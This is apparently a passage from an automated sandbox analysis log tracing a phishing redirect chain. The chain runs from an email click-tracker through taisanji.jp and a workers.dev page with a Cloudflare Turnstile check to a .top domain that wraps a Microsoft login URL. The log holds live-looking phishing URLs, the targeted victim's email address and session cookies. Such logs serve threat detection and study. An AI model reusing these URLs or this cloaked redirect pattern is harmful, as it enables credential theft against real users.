name="author".. found

Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2fv-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top%2fcommon%2freprocess%3fctx%3drQQIARAAjZE_TBNhAMXv65UTEKXBxU1z0YV47V3vendtgrFXroAtUKUIVE29fvcdd-1dv3J_2gJhJQ7GEDeNk2PjYJwMg3EzIQ6NxoVF40TQGOMCiYmx1cVN3_Dyhpc3_N44yUW51AX2j-JM3xnWMDgGon76S-7YcOTIf0--2-1-en2rdPGNnbc74Jzp-w0vFYvhwLcxrkWxYVgQRSF2YrilxV4A0AXgAIAHoTOeiQJ0RTI1y4Wa-7vTCUkiLwtJUZRYTuREQZb4eLRSgXHBiCcZWZBYRuA1nZENUWJggpN1VpS4pI72Q6Pz6cA3433DrrWBvoeGDOw65Qb2_EfkfTAJfWXSm1lVVeU6my_gal1Lw6XSytRM0spl0yZburpY1dFy2wgkN3Fjoc2oLU0xrxezQkudzK54uJjha3y-Zq4HedNUFDzLlKxZ11usLefazkwFmtlqGcrJHqyKXGa0uSDpB9yGoRvr-QWouu60n0MJe6HJc0qrQ_4X5eck1cPi4PoeSeEGqlt6Nww-hsFheIQlU4ODwxHiLHGeOA6DJwO9Q15--PG0dKeRe7zDHl1-u03sDcQQtKWVijOHrKKJlq41hUXesNV0uy62-XXH3KgWfDHBe40W25qIp7gdCuxQ1C41NEhGCJrMFLgDCnyjwN0TxO7Qv97tngT7I8IwBW3Ncryx8U3a0ss-rqE6ndqk245XhrCfmpodII9O3aR7-_Ttra2tV6eI49Nfft7b_tx5-HX6cPTSlFIM3DXTyyB5TpHmfWWV0wy-ac2KS2tr3DJnFnCQkWuOnVAnnkWIXw2&mkt=en-US&hosted=0&device_platform=Windows+10	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.201.212.130:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.201.212.130:443 -> 192.168.2.7:49716 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.201.212.130
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /c/0aR4TTLkLUqplUI-2TrhdA HTTP/1.1Host: j4tpu.bpmsafelink.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFuyulMlKi-2BOPnlw70aNZVis28POFpvPHosRY2v-2BT8MzRgxGp_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZPm0ZXtgUZ2XWgAYCIaMBrUgdnTROyf0Afl06YWn6RrR-2BWcL1g7IuW-2FS3i9t-2BF-2B2Y6e8GyMI51dnqu8NufWlrtR9XZO0CKNozdtKi-2BuAQygqD3A68yX5YKYWCNYUOYcNDiU1VCdsE16ZstUbHkSXph84w1YZ4Ob766Kv0C6exL1Q8FobkJkY5CqLYAXETODR-2BNrDAN8XOid2c66vIk9hFtXrd7fh2OKDpf7bj39mWAxlUiJaLw-2FYkVjI5oKXuRFHQA-3D HTTP/1.1Host: clickme.thryv.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /197006108922/ HTTP/1.1Host: taisanji.jpConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://taisanji.jpsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://taisanji.jp/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /197006108922/ HTTP/1.1Host: taisanji.jpConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://taisanji.jp/197006108922/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=beceeed944e116c0f1ce457b161cfb28
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: taisanji.jpConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://taisanji.jp/197006108922/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=beceeed944e116c0f1ce457b161cfb28
Source: global traffic	HTTP traffic detected: GET /?qrc=sheue@7haircare.com& HTTP/1.1Host: e76abede.df1076c6f7230d3c23de9bcb.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://taisanji.jp/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /197006108922/ HTTP/1.1Host: taisanji.jpConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=beceeed944e116c0f1ce457b161cfb28
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/471dc2adc340/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=87a07069393b53b7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: e76abede.df1076c6f7230d3c23de9bcb.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com&Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: e76abede.df1076c6f7230d3c23de9bcb.workers.devConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/87a07069393b53b7/1714070194209/7c141658e4705f8339da67ff0d4610a1f1ff832447d37cb2823e7e09655347e8/XiKiZkimIR7Xvi1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/87a07069393b53b7/1714070194214/ypZU3uoYL2TKkUO HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/87a07069393b53b7/1714070194214/ypZU3uoYL2TKkUO HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3YtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImRvbWFpbiI6InYtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImtleSI6Ikd3Wmx6djNqUGJZViIsInFyYyI6InNoZXVlQDdoYWlyY2FyZS5jb20iLCJpYXQiOjE3MTQwNzAyMTMsImV4cCI6MTcxNDA3MDMzM30.KjLJF5iiSFKdw41uUQwdDBQjolY0kxSFZb7HDP4uVI8 HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?qrc=sheue%407haircare.com HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0
